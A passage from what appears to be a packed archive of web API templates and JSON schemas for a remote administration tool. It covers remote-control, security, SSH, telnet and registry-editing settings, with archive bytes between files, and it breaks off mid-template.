					"ra_status": "#COMPUTER.RA.STATUS#",
					"ra_port": <?usemacro NUMBER(COMPUTER.RA.PORT)?>,
					"ra_url": "#COMPUTER.RA.URL#",
					"ra_svcerr": "#COMPUTER.RA.SVCERR#",
					"domain_name": "#DOMAIN.NAME#",
					"domain_provider": "#DOMAIN.PROVIDER#",
					"domain_type": "#DOMAIN.TYPE#",
					"domain_usage": "#DOMAIN.USAGE#"
				}
			<?next
		endif?>		
	]			

},
"lang":{}
}@l:api\preferences\ralist.schemap$S{"result": {

	"computers" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"comment": { "_type": "string" },
			"platform": { "_type": "string" },
			"version": { "_type": "string" },
			"role": { "_type": "string" },
			"error": { "_type": "string" },
			"disabled": { "_type": "bool" },
			"ra_installed": { "_type": "string" },
			"ra_name": { "_type": "string" },
			"ra_exe": { "_type": "string" },
			"ra_dir": { "_type": "string" },
			"ra_version": { "_type": "string" },
			"ra_status": { "_type": "string" },
			"ra_port": { "_type": "number" },
			"ra_url": { "_type": "string" },
			"ra_svcerr": { "_type": "string" },
			"domain_name": { "_type": "string" },
			"domain_provider": { "_type": "string" },
			"domain_type": { "_type": "string" },
			"domain_usage": { "_type": "string" }
		}
	}

},
"lang":{}
}*Dapi\preferences\remotecontrol.json/z<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "UPDATE"
	endif
	
	action "cfgremctrl"
	usemacro ERRORHANDLER()

?>{"result": {

	"AllowInvites": <?usemacro BOOL(AllowInvites)?>,
	"AllowInvites_locked": <?usemacro BOOL(AllowInvites.LOCKED)?>,	
	"UseMirrorDriver": <?usemacro BOOL(UseMirrorDriver)?>,
	"UseMirrorDriver_locked": <?usemacro BOOL(UseMirrorDriver.LOCKED)?>,	
	"DisableWallpaper": <?usemacro BOOL(DisableWallpaper)?>,
	"DisableWallpaper_locked": <?usemacro BOOL(DisableWallpaper.LOCKED)?>,	
	"AutoclipboardSize": <?usemacro NUMBER(AutoclipboardSize)?>,
	"AutoclipboardSize_locked": <?usemacro BOOL(AutoclipboardSize.LOCKED)?>,
	"AutoPan": <?usemacro BOOL(AutoPan)?>,
	"AutoPan_locked": <?usemacro BOOL(AutoPan.LOCKED)?>,	
	"ControlType": "#ControlType#",
	"ControlType_locked": <?usemacro BOOL(ControlType.LOCKED)?>,
	"CtrlAltDelHotkey": "#CtrlAltDelHotkey#",
	"CtrlAltDelHotkey_locked": <?usemacro BOOL(CtrlAltDelHotkey.LOCKED)?>,
	"PCMacKeyMap": "#PCMacKeyMap#",
	"PCMacKeyMap_locked": <?usemacro BOOL(PCMacKeyMap.LOCKED)?>,

	"DisableLocalInput": <?usemacro BOOL(DisableLocalInput)?>,
	"DisableLocalInput_locked": <?usemacro BOOL(DisableLocalInput.LOCKED)?>,	
	"DisableHostMonitor": <?usemacro BOOL(DisableHostMonitor)?>,
	"DisableHostMonitor_locked": <?usemacro BOOL(DisableHostMonitor.LOCKED)?>,	
	"LockConsole": <?usemacro BOOL(LockConsole)?>,
	"LockConsole_locked": <?usemacro BOOL(LockConsole.LOCKED)?>,	
	"LockConsoleTimeout": <?usemacro BOOL(LockConsoleTimeout)?>,
	"LockConsoleTimeout_locked": <?usemacro BOOL(LockConsoleTimeout.LOCKED)?>,	
	"LockConsoleAlways": <?usemacro BOOL(LockConsoleAlways)?>,
	"LockConsoleAlways_locked": <?usemacro BOOL(LockConsoleAlways.LOCKED)?>,	
	"BlockRemoteInput": <?usemacro BOOL(BlockRemoteInput)?>,
	"BlockRemoteInput_locked": <?usemacro BOOL(BlockRemoteInput.LOCKED)?>,	
	"UseOneClickLogin": <?usemacro BOOL(UseOneClickLogin)?>,
	"UseOneClickLogin_locked": <?usemacro BOOL(UseOneClickLogin.LOCKED)?>,	
	"DisableDragAndDrop": <?usemacro BOOL(DisableDragAndDrop)?>,
	"DisableDragAndDrop_locked": <?usemacro BOOL(DisableDragAndDrop.LOCKED)?>,	

	"BeepWhenRCStartsOrEnds": <?usemacro BOOL(BeepWhenRCStartsOrEnds)?>,
	"BeepWhenRCStartsOrEnds_locked": <?usemacro BOOL(BeepWhenRCStartsOrEnds.LOCKED)?>,	
	"BeepContinuously": <?usemacro BOOL(BeepContinuously)?>,
	"BeepContinuously_locked": <?usemacro BOOL(BeepContinuously.LOCKED)?>,	
	"BeepInterval": <?usemacro FORMAT.SPN(BeepInterval)?>,
	"BeepInterval_locked": <?usemacro BOOL(BeepInterval.LOCKED)?>,	
	"FlashKeyboardIndicators": <?usemacro BOOL(FlashKeyboardIndicators)?>,
	"FlashKeyboardIndicators_locked": <?usemacro BOOL(FlashKeyboardIndicators.LOCKED)?>,	

	"AskForPermission": <?usemacro BOOL(AskForPermission)?>,
	"AskForPermission_locked": <?usemacro BOOL(AskForPermission.LOCKED)?>,		
	"AskForPermissionDefault": <?if AskForPermissionDefaultYes?>1<?else?>0<?endif?>,
	
	"PermissionTimeout": <?usemacro FORMAT.SPN(PermissionTimeout)?>,
	"PermissionTimeout_locked": <?usemacro BOOL(IPermissionTimeout.LOCKED)?>,	
	"PermissionText": "#PermissionText#",
	"PermissionText_locked": <?usemacro BOOL(PermissionText.LOCKED)?>,
	"RemoteControlledText": "#RemoteControlledText#",
	"RemoteControlledText_locked": <?usemacro BOOL(RemoteControlledText.LOCKED)?>,
	"RemoteMonitoredText": "#RemoteMonitoredText#",
	"RemoteMonitoredText_locked": <?usemacro BOOL(RemoteMonitoredText.LOCKED)?>,
	"EnableUserNotification": <?usemacro BOOL(EnableUserNotification)?>,
	"EnableUserNotification_locked": <?usemacro BOOL(EnableUserNotification.LOCKED)?>,	
	"FullCtrlBypassUsrPerm": <?usemacro BOOL(FullCtrlBypassUsrPerm)?>,
	"FullCtrlBypassUsrPerm_locked": <?usemacro BOOL(FullCtrlBypassUsrPerm.LOCKED)?>,	
	"AskForPermExcept": <?usemacro BOOL(AskForPermExcept)?>,
	"AskForPermExcept_locked": <?usemacro BOOL(AskForPermExcept.LOCKED)?>,	

	"EnableRemotePrinting": <?usemacro BOOL(EnableRemotePrinting)?>,
	"EnableRemotePrinting_locked": <?usemacro BOOL(EnableRemotePrinting.LOCKED)?>,	

	"RfsEnableConnectingDrives": <?usemacro BOOL(RfsEnableConnectingDrives)?>,
	"RfsEnableConnectingDrives_locked": <?usemacro BOOL(RfsEnableConnectingDrives.LOCKED)?>,	
	"RfsPreferredDriveLetter": "#RfsPreferredDriveLetter#",
	"RfsPreferredDriveLetter_locked": <?usemacro BOOL(RfsPreferredDriveLetter.LOCKED)?>,
	"RfsAllowConnectLocalDrives": <?usemacro BOOL(RfsAllowConnectLocalDrives)?>,
	"RfsAllowConnectLocalDrives_locked": <?usemacro BOOL(RfsAllowConnectLocalDrives.LOCKED)?>,	
	"RfsAllowConnectRemovableDrives": <?usemacro BOOL(RfsAllowConnectRemovableDrives)?>,
	"RfsAllowConnectRemovableDrives_locked": <?usemacro BOOL(RfsAllowConnectRemovableDrives.LOCKED)?>,	
	"RfsAllowConnectNetworkDrives": <?usemacro BOOL(RfsAllowConnectNetworkDrives)?>,
	"RfsAllowConnectNetworkDrives_locked": <?usemacro BOOL(RfsAllowConnectNetworkDrives.LOCKED)?>,	
	"RfsDirFormatOfConnectedDrives": <?if RfsDirFormatOfConnectedDrives == "1"?>"drive"<?else?>"desc"<?endif?>,
	"RfsDirFormatOfConnectedDrives_locked": <?usemacro BOOL(RfsDirFormatOfConnectedDrives.LOCKED)?>,
	"RfsReadOnlyConnection": <?usemacro BOOL(RfsReadOnlyConnection)?>,
	"RfsReadOnlyConnection_locked": <?usemacro BOOL(RfsReadOnlyConnection.LOCKED)?>,	

	"SndAutoStart": <?usemacro BOOL(SndAutoStart)?>,
	"SndAutoStart_locked": <?usemacro BOOL(SndAutoStart.LOCKED)?>,	
	"SndMuteServer": <?usemacro BOOL(SndMuteServer)?>,
	"SndMuteServer_locked": <?usemacro BOOL(SndMuteServer.LOCKED)?>,	
	"SndCaptureDeviceToUse": "#SndCaptureDeviceToUse#",
	"SndCaptureDeviceToUse_locked": <?usemacro BOOL(SndCaptureDeviceToUse.LOCKED)?>,
	"SndInputLineToUse": "#SndInputLineToUse#",
	"SndInputLineToUse_locked": <?usemacro BOOL(SndInputLineToUse.LOCKED)?>,
	"SndBandwidth": "#SndBandwidth#",
	"SndBandwidth_locked": <?usemacro BOOL(SndBandwidth.LOCKED)?>,

	"soundcard_present": <?usemacro BOOL(SOUNDCARD.PRESENT)?>,
	"sound_devices": [
	    <?if SOUNDDEVICES
	    	usemacro CommaInit()
			enum SOUNDDEVICES
				usemacro CommaDo()?>
				{					    
					"name": "#SoundCaptureDevice.name#",
					"guid": "#SoundCaptureDevice.guid#"
				}
			<?next
		endif?>		
	],			
	"sound_inputlines": [
	    <?if SOUNDINPUTLINES
	    	usemacro CommaInit()
			enum SOUNDINPUTLINES
				usemacro CommaDo()?>
				{					    
					"name": "#SoundInputDevice.name#"
				}
			<?next
		endif?>		
	],
	
	"options" : {
		"activex": <?if ACTIONS has "-activex-"?>true<?else?>false<?endif?>,
		"USE.MOZPLUGIN": <?if USE.MOZPLUGIN?>true<?else?>false<?endif?>,
		"USE.FLASH": <?if USE.FLASH?>true<?else?>false<?endif?>,
		"remctrl2": <?if ACTIONS has "-remctrl2-"?>true<?else?>false<?endif?>,
		"UseDisableHostMonitor": <?if UseDisableHostMonitor?>true<?else?>false<?endif?>,
		"LICENSE.CANDISABLERCN": <?if LICENSE.CANDISABLERCN?>true<?else?>false<?endif?>,
		"USE.RFS.DRIVEMAP": <?if USE.RFS.DRIVEMAP?>true<?else?>false<?endif?>,
		"USE.SOUND.TRANSFER": <?if USE.SOUND.TRANSFER?>true<?else?>false<?endif?>,
		"SOUNDCARD.PRESENT": <?if SOUNDCARD.PRESENT?>true<?else?>false<?endif?>,
		"ISVISTAORBETTER": <?if ISVISTAORBETTER?>true<?else?>false<?endif?>
	}

},
"lang":{}
}sHapi\preferences\remotecontrol.schema3{"result": {

	"AllowInvites": { "_type": "bool" },
	"AllowInvites_locked": { "_type": "bool" },
	"UseMirrorDriver": { "_type": "bool" },
	"UseMirrorDriver_locked": { "_type": "bool" },
	"DisableWallpaper": { "_type": "bool" },
	"DisableWallpaper_locked": { "_type": "bool" },
	"AutoclipboardSize": { "_type": "number" },
	"AutoclipboardSize_locked": { "_type": "bool" },
	"AutoPan": { "_type": "bool" },
	"AutoPan_locked": { "_type": "bool" },
	"ControlType": { "_type": "string" },
	"ControlType_locked": { "_type": "bool" },
	"CtrlAltDelHotkey": { "_type": "string" },
	"CtrlAltDelHotkey_locked": { "_type": "bool" },
	"PCMacKeyMap": { "_type": "string" },
	"PCMacKeyMap_locked": { "_type": "bool" },

	"DisableLocalInput": { "_type": "bool" },
	"DisableLocalInput_locked": { "_type": "bool" },
	"DisableHostMonitor": { "_type": "bool" },
	"DisableHostMonitor_locked": { "_type": "bool" },
	"LockConsole": { "_type": "bool" },
	"LockConsole_locked": { "_type": "bool" },
	"LockConsoleTimeout": { "_type": "bool" },
	"LockConsoleTimeout_locked": { "_type": "bool" },
	"LockConsoleAlways": { "_type": "bool" },
	"LockConsoleAlways_locked": { "_type": "bool" },
	"BlockRemoteInput": { "_type": "bool" },
	"BlockRemoteInput_locked": { "_type": "bool" },
	"UseOneClickLogin": { "_type": "bool" },
	"UseOneClickLogin_locked": { "_type": "bool" },
	"DisableDragAndDrop": { "_type": "bool" },
	"DisableDragAndDrop_locked": { "_type": "bool" },

	"BeepWhenRCStartsOrEnds": { "_type": "bool" },
	"BeepWhenRCStartsOrEnds_locked": { "_type": "bool" },
	"BeepContinuously": { "_type": "bool" },
	"BeepContinuously_locked": { "_type": "bool" },
	"BeepInterval": { "_type": "string" },
	"BeepInterval_locked": { "_type": "bool" },
	"FlashKeyboardIndicators": { "_type": "bool" },
	"FlashKeyboardIndicators_locked": { "_type": "bool" },

	"AskForPermission": { "_type": "bool" },
	"AskForPermission_locked": { "_type": "bool" },
	"AskForPermissionDefault": { "_type": "number" },
	
	"PermissionTimeout": { "_type": "string" },
	"PermissionTimeout_locked": { "_type": "bool" },
	"PermissionText": { "_type": "string" },
	"PermissionText_locked": { "_type": "bool" },
	"RemoteControlledText": { "_type": "string" },
	"RemoteControlledText_locked": { "_type": "bool" },
	"RemoteMonitoredText": { "_type": "string" },
	"RemoteMonitoredText_locked": { "_type": "bool" },
	"EnableUserNotification": { "_type": "bool" },
	"EnableUserNotification_locked": { "_type": "bool" },
	"FullCtrlBypassUsrPerm": { "_type": "bool" },
	"FullCtrlBypassUsrPerm_locked": { "_type": "bool" },
	"AskForPermExcept": { "_type": "bool" },
	"AskForPermExcept_locked": { "_type": "bool" },

	"EnableRemotePrinting": { "_type": "bool" },
	"EnableRemotePrinting_locked": { "_type": "bool" },

	"RfsEnableConnectingDrives": { "_type": "bool" },
	"RfsEnableConnectingDrives_locked": { "_type": "bool" },
	"RfsPreferredDriveLetter": { "_type": "string" },
	"RfsPreferredDriveLetter_locked": { "_type": "bool" },
	"RfsAllowConnectLocalDrives": { "_type": "bool" },
	"RfsAllowConnectLocalDrives_locked": { "_type": "bool" },
	"RfsAllowConnectRemovableDrives": { "_type": "bool" },
	"RfsAllowConnectRemovableDrives_locked": { "_type": "bool" },
	"RfsAllowConnectNetworkDrives": { "_type": "bool" },
	"RfsAllowConnectNetworkDrives_locked": { "_type": "bool" },
	"RfsDirFormatOfConnectedDrives": { "_type": "string" },
	"RfsDirFormatOfConnectedDrives_locked": { "_type": "bool" },
	"RfsReadOnlyConnection": { "_type": "bool" },
	"RfsReadOnlyConnection_locked": { "_type": "bool" },

	"SndAutoStart": { "_type": "bool" },
	"SndAutoStart_locked": { "_type": "bool" },
	"SndMuteServer": { "_type": "bool" },
	"SndMuteServer_locked": { "_type": "bool" },
	"SndCaptureDeviceToUse": { "_type": "string" },
	"SndCaptureDeviceToUse_locked": { "_type": "bool" },
	"SndInputLineToUse": { "_type": "string" },
	"SndInputLineToUse_locked": { "_type": "bool" },
	"SndBandwidth": { "_type": "string" },
	"SndBandwidth_locked": { "_type": "bool" },

	"soundcard_present": { "_type": "bool" },
	"sound_devices" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"guid": { "_type": "string" }
		}
	},
	"sound_inputlines" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" }
		}
	},


	"options" : {
		"activex": { "_type": "bool" },
		"USE.MOZPLUGIN": { "_type": "bool" },
		"USE.FLASH": { "_type": "bool" },
		"remctrl2": { "_type": "bool" },
		"UseDisableHostMonitor": { "_type": "bool" },
		"LICENSE.CANDISABLERCN": { "_type": "bool" },
		"USE.RFS.DRIVEMAP": { "_type": "bool" },
		"USE.SOUND.TRANSFER": { "_type": "bool" },
		"SOUNDCARD.PRESENT": { "_type": "bool" },
		"ISVISTAORBETTER": { "_type": "bool" }
	}


},
"lang":{}
}
W=A:api\preferences\security.json <?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NORA()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "prefsecurity"
	usemacro ERRORHANDLER()

?>{"result": {

	"ADMINACC": <?usemacro BOOL(ADMINACC)?>,
	"ADMINACC_locked": <?usemacro BOOL(ADMINACC.LOCKED)?>,
	"DONTLISTDOMAINS": <?usemacro BOOL(DONTLISTDOMAINS)?>,
	"DONTLISTDOMAINS_locked": <?usemacro BOOL(DONTLISTDOMAINS.LOCKED)?>,
	"IPFILTERENABLED": true,	
	"IPFILTERENABLED_locked": true,
	"DOSENABLED": <?usemacro BOOL(DOSENABLED)?>,
	"DOSENABLED_locked": <?usemacro BOOL(DOSENABLED.LOCKED)?>,
	"LOGONENABLED": <?usemacro BOOL(LOGONENABLED)?>,
	"LOGONENABLED_locked": <?usemacro BOOL(LOGONENABLED.LOCKED)?>,
	
	"LOGONBLOCKCOUNT": <?usemacro NUMBER(LOGONBLOCKCOUNT)?>,
	"DOSBLOCKCOUNT": <?usemacro NUMBER(DOSBLOCKCOUNT)?>,
	"NUSERS": <?usemacro NUMBER(NUSERS)?>,
	"PPWDOK": <?if PPWDOK?>true<?else?>false<?endif?>,
	
	"ipfilter_profiles": [
	    <?if IPFILTERS
	    	usemacro CommaInit()
			enum IPFILTERS
				usemacro CommaDo()?>
				{					    
					"name": "#IPFILTER.NAME#",
					"selected": <?usemacro BOOL(IPFILTER.SELECTED)?>
				}
			<?next
		endif?>		
	]			
			
},
"lang":{}
}
?*>api\preferences\security.schemak{"result": {

	"ADMINACC": { "_type": "bool" },
	"ADMINACC_locked": { "_type": "bool" },
	"DONTLISTDOMAINS": { "_type": "bool" },
	"DONTLISTDOMAINS_locked": { "_type": "bool" },
	"IPFILTERENABLED": { "_type": "bool" },
	"IPFILTERENABLED_locked": { "_type": "bool" },
	"DOSENABLED": { "_type": "bool" },
	"DOSENABLED_locked": { "_type": "bool" },
	"LOGONENABLED": { "_type": "bool" },
	"LOGONENABLED_locked": { "_type": "bool" },
	
	"LOGONBLOCKCOUNT": { "_type": "number" },
	"DOSBLOCKCOUNT": { "_type": "number" },
	"PPWDOK": { "_type": "bool" },
	
	"ipfilter_profiles" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"selected": { "_type": "bool" }
		}
	}							
			
},
"lang":{}
}a]0api\preferences\ssh.jsonI
<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "POST"
		usemacro CHECKREQPARAM(REQ.OP,"-genhkssh1-,-genhkssh2rsa-,-genhkssh2dsa-,-secsh-,-addmapping-,-privsepenable-,-privsepdisable-,-privsepcheck-","operation code", "OPERATION")
		if REQ.OP == "addmapping"
			usemacro CHECKREQPARAM.EXIST(REQ.PVIRT,"virtual path", "CONFIG.SSH.PATH.VIRT")
			usemacro CHECKREQPARAM.EXIST(REQ.PPHYS,"physical path", "CONFIG.SSH.PATH.PHYS")
		endif
	elseif REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.PMAP,"path mapping","CONFIG.SSH.PATHMAPPING")
		set REQ.OP = "delmapping"
	endif
	
	action "cfgssh"
	usemacro ERRORHANDLER()

?>{"result": {
	
  "isXpOrBetter": <?usemacro BOOL(ISXPORBETTER)?>,
	"PORT": <?usemacro NUMBER(PORT)?>,
	"IPADDR": "#IPADDR#",
	
	"listen_ips": [
	    <?if LISTENIPS
	    	usemacro CommaInit()
			enum LISTENIPS
				usemacro CommaDo()?>
				{					    
					"value": "#LISTENIPS.VALUE#",
					"display": "#LISTENIPS.DISPLAY#"
				}
			<?next
		endif?>		
	],	
	
	"RSAENABLED": <?usemacro BOOL(RSAENABLED)?>,
	"SSH1": <?usemacro BOOL(SSH1)?>,
	"SSH2": <?usemacro BOOL(SSH2)?>,
	"SFTP": <?usemacro BOOL(SFTP)?>,
	"SCP": <?usemacro BOOL(SCP)?>,
	"MAPNETWORKDRIVES": <?usemacro BOOL(MAPNETWORKDRIVES)?>,
	"COMPRESSION": "#COMPRESSION#",
	"AUTHPWD": <?usemacro BOOL(AUTHPWD)?>,
	"AUTHKBDINT": <?usemacro BOOL(AUTHKBDINT)?>,
	"AUTHPUBKEY": <?usemacro BOOL(AUTHPUBKEY)?>,
	"MANAGEPUBKEY": <?usemacro BOOL(MANAGEPUBKEY)?>,	
	"VERIFYREVERSEMAPPING": <?usemacro BOOL(VERIFYREVERSEMAPPING)?>,
	"PORTFORWARD": <?usemacro NUMBER(PORTFORWARD)?>,
	"GATEWAYPORTS": <?usemacro BOOL(GATEWAYPORTS)?>,

	"CUSTOMCMDLINE": "#CUSTOMCMDLINE#",
	"ESCAPECHAR": "#ESCAPECHAR#",

	"path_mapping": [
	    <?if PATHMAPPING
	    	usemacro CommaInit()
			enum PATHMAPPING
				usemacro CommaDo()?>
				{					    
					"virtual": "#PATH.VIRT#",
					"physical": "#PATH.PHYS#"
				}
			<?next
		endif?>		
	],				

	"HKSSH1BITS": <?usemacro NUMBER(HKSSH1BITS)?>,
	"HKSSH1OK": <?usemacro BOOL(HKSSH1OK)?>,
	"HKSSH2RSABITS": <?usemacro NUMBER(HKSSH2RSABITS)?>,
	"HKSSH2RSAOK": <?usemacro BOOL(HKSSH2RSAOK)?>,
	"HKSSH2DSABITS": <?usemacro NUMBER(HKSSH2DSABITS)?>,
	"HKSSH2DSAOK": <?usemacro BOOL(HKSSH2DSAOK)?>,

	"SSH1SERVERKEYBITS": <?usemacro NUMBER(SSH1SERVERKEYBITS)?>,
	"SSH1SERVERKEYTIME": <?usemacro FORMAT.SPN(SSH1SERVERKEYTIME)?>,

	"PRIVSEP": "#PRIVSEP#"
	
},
"lang":{}
}
|4api\preferences\ssh.schemaa{"result": {
	
	"PORT": { "_type": "number" },
	"IPADDR": { "_type": "string" },
	
	"listen_ips" : {
		"_type": "array",
		"_element": {
			"value": { "_type": "string" },
			"display": { "_type": "string" }
		}
	},							
	
	"RSAENABLED": { "_type": "bool" },
	"SSH1": { "_type": "bool" },
	"SSH2": { "_type": "bool" },
	"SFTP": { "_type": "bool" },
	"SCP": { "_type": "bool" },
	"MAPNETWORKDRIVES": { "_type": "bool" },
	"COMPRESSION": { "_type": "string" },
	"AUTHPWD": { "_type": "bool" },
	"AUTHKBDINT": { "_type": "bool" },
	"AUTHPUBKEY": { "_type": "bool" },
	"MANAGEPUBKEY": { "_type": "bool" },
	"VERIFYREVERSEMAPPING": { "_type": "bool" },
	"PORTFORWARD": { "_type": "number" },
	"GATEWAYPORTS": { "_type": "bool" },

	"CUSTOMCMDLINE": { "_type": "string" },
	"ESCAPECHAR": { "_type": "string" },

	"path_mapping" : {
		"_type": "array",
		"_element": {
			"virtual": { "_type": "string" },
			"physical": { "_type": "string" }
		}
	},							

	"HKSSH1BITS": { "_type": "number" },
	"HKSSH1OK": { "_type": "bool" },
	"HKSSH2RSABITS": { "_type": "number" },
	"HKSSH2RSAOK": { "_type": "bool" },
	"HKSSH2DSABITS": { "_type": "number" },
	"HKSSH2DSAOK": { "_type": "bool" },

	"SSH1SERVERKEYBITS": { "_type": "number" },
	"SSH1SERVERKEYTIME": { "_type": "string" },

	"PRIVSEP": { "_type": "string" }
	
},
"lang":{}
}I>api\preferences\ssh_pubkey.jsonu<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "POST" and not req.pubkey
		set REQ.OP = "genkey"
	elseif REQ.HTTPMETHOD == "POST"
		set REQ.OP = "addpubkey"
	elseif REQ.HTTPMETHOD == "DELETE" and not req.delfp
		set REQ.OP = "purgepriv"
	elseif REQ.HTTPMETHOD == "DELETE"
		set REQ.OP = "delkey"
	endif
	
	action "cfgsshpubkey"
	usemacro ERRORHANDLER()
	

?>{"result": {

	"user": "#USER#",
	"sid": "#SID#",
	"PRIVKEYNEW": <?usemacro BOOL(PRIVKEYNEW)?>,
	"PRIVKEYFILE": "#PRIVKEYFILE#",

	"keys": [
	    <?if KEYS
	    	usemacro CommaInit()
			enum KEYS
				usemacro CommaDo()?>
				{					    
					"type": "#KEY.TYPE#",
					"bits": <?usemacro NUMBER(KEY.BITS)?>,
					"fingerprint": "#KEY.FINGERPRINT#",
					"comment": "#KEY.COMMENT#",
					"value": "#KEY.VALUE#"
				}
			<?next
		endif?>		
	]

},
"lang":{}
}
}IBapi\preferences\ssh_pubkey.schema
{"result": {

	"user": { "_type": "string" },
	"sid": { "_type": "string" },
	"PRIVKEYNEW": { "_type": "bool" },

	"keys" : {
		"_type": "array",
		"_element": {
			"type": { "_type": "string" },
			"bits": { "_type": "number" },
			"fingerprint": { "_type": "string" },
			"comment": { "_type": "string" },
			"value": { "_type": "string" }
		}
	}

},
"lang":{}
}N6api\preferences\telnet.jsonij<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "cfgtelnet"
	usemacro ERRORHANDLER()

?>{"result": {
	
	"PORT": <?usemacro NUMBER(PORT)?>,
	"IPADDR": "#IPADDR#",
	"JAVAENABLED": <?usemacro BOOL(JAVAENABLED)?>,
	"TELNETENABLED": <?usemacro BOOL(TELNETENABLED)?>,
	"BANNER": <?usemacro BOOL(BANNER)?>,
	"MAXCONNECTIONS": <?usemacro NUMBER(MAXCONNECTIONS)?>,
	"LOGINTIMEOUT": <?usemacro FORMAT.SPN(LOGINTIMEOUT)?>,
	"IDLETIMEOUT": <?usemacro FORMAT.SPN(IDLETIMEOUT)?>,
	"RECONNECTTIMEOUT": <?usemacro FORMAT.SPN(RECONNECTTIMEOUT)?>,
	"JAVAWIDTH": <?usemacro NUMBER(JAVAWIDTH)?>,
	"JAVAHEIGHT": <?usemacro NUMBER(JAVAHEIGHT)?>,
	"TELNETWIDTH": <?usemacro NUMBER(TELNETWIDTH)?>,
	"TELNETHEIGHT": <?usemacro NUMBER(TELNETHEIGHT)?>,
	"MODE": <?if MODE.COLOR?>3<?elseif MODE.MONOCHROME?>2<?else?>1<?endif?>,
	"ASKPARAMS": <?usemacro BOOL(ASKPARAMS)?>,

	"listen_ips": [
	    <?if LISTENIPS
	    	usemacro CommaInit()
			enum LISTENIPS
				usemacro CommaDo()?>
				{					    
					"value": "#LISTENIPS.VALUE#",
					"display": "#LISTENIPS.DISPLAY#"
				}
			<?next
		endif?>		
	]			

},
"lang":{}
}
cQ:api\preferences\telnet.schema:{"result": {
	
	"PORT": { "_type": "number" },
	"IPADDR": { "_type": "string" },
	"JAVAENABLED": { "_type": "bool" },
	"TELNETENABLED": { "_type": "bool" },
	"BANNER": { "_type": "bool" },
	"MAXCONNECTIONS": { "_type": "number" },
	"LOGINTIMEOUT": { "_type": "string" },
	"IDLETIMEOUT": { "_type": "string" },
	"RECONNECTTIMEOUT": { "_type": "string" },
	"JAVAWIDTH": { "_type": "number" },
	"JAVAHEIGHT": { "_type": "number" },
	"TELNETWIDTH": { "_type": "number" },
	"TELNETHEIGHT": { "_type": "number" },
	"MODE": { "_type": "number" },
	"ASKPARAMS": { "_type": "bool" },

	"listen_ips" : {
		"_type": "array",
		"_element": {
			"value": { "_type": "string" },
			"display": { "_type": "string" }
		}
	}							

},
"lang":{}
}?u*api\registry\key.jsonb`<?ratmpl?><?
	nocache

	include "/api/common.macro"

	usemacro NOMAC()
	

	switch REQ.HTTPMETHOD
	case "GET"
		// [GET] key.json
		// Get list of sub keys
		// @param REQ.KEY (string, optional?)

		// usemacro CHECKREQPARAM.EXIST(REQ.KEY, "Registry Key", "REGKEY")

		// default action
	case "POST"
		// === Create a new subkey ===
		// OP=addkey
		// NAME=<child name>
		// KEY=<path>

		// usemacro CHECKREQPARAM(REQ.OP, "-addkey-", "Operation Name", "OPERATION")
		usemacro CHECKREQPARAM.EXIST(REQ.KEY, "Parent Key", "PARENTKEY")
		usemacro CHECKREQPARAM.EXIST(REQ.NAME, "Child Key Name", "CHILDKEY")
		set REQ.OP="addkey"

		action "regedit"

		usemacro ERRORHANDLER()
	case "DELETE"
		// === Delete a key ===
		// OP=delkey
		// NAME=<child name>
		// KEY=<path>
		usemacro CHECKREQPARAM.EXIST(REQ.KEY, "Parent Key", "PARENTKEY")
		usemacro CHECKREQPARAM.EXIST(REQ.NAME, "Child Key Name", "CHILDKEY")
		set REQ.OP="delkey"

		action "regedit"

		usemacro ERRORHANDLER()
	endswitch

	action "reglist"
		
	usemacro ERRORHANDLER()
?>{
	"result": {
		"name": <?if KEY.NAME?>"#KEY.NAME#"<?else?>"#SRVNAME#"<?endif?>,
		"path": "#KEY.PATH#" ,
		"keys": [<?
	if KEYS
		usemacro CommaInit()
		enum KEYS
			usemacro CommaDo() ?>
			{
				"name": "#KEY.NAME#",
				"path": "#KEY.PATH#",
				"childcnt": <? usemacro ZNUMBER(KEY.KEYS) ?>
			}<?next
?>
				]
	},
	"lang": {}
}
nL.api\registry\key.schemaf{
	"result": {
		"name": { "_type": "string" },
		"path": { "_type": "string" } ,
		"keys": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"path": { "_type": "string" },
				"childcnt": { "_type": "number" }
			}
		}
	},
	"lang": {}
}
0Lk.api\registry\value.jsonմ<?ratmpl?><?
	nocache

	include "/api/common.macro"

	usemacro NOMAC()
//
// Registry value lister and editor module.
// It can be used several way. By default it returns values belonging to registry node
// addressed by KEY
//
//
// @param KEY path to subtree. Can be null.
//

	switch REQ.HTTPMETHOD
	case "GET"
		// get list of sub keys

		// @param REQ.KEY field (string, optional)
	case "PUT", "POST"
		// Create or update value
		usemacro CHECKREQPARAM.EXIST(REQ.KEY, "Registry Key", "REGISTRYKEY")
		usemacro CHECKREQPARAM(REQ.TYPE, "-REG_SZ-,-REG_DWORD-,-REQ_QWORD-,-REG_EXPAND_SZ-,-REG_MULTI_SZ-", "Registry Value Type", "REGISTRYVALUETYPE")

		set REQ.OP="setval"

		if not REQ.NAME
			set REQ.NAME=""
		endif
		if not REQ.DATA
			set REQ.DATA=""
		endif

		action "regedit"

		usemacro ERRORHANDLER()
	case "DELETE"
		// Delete a value
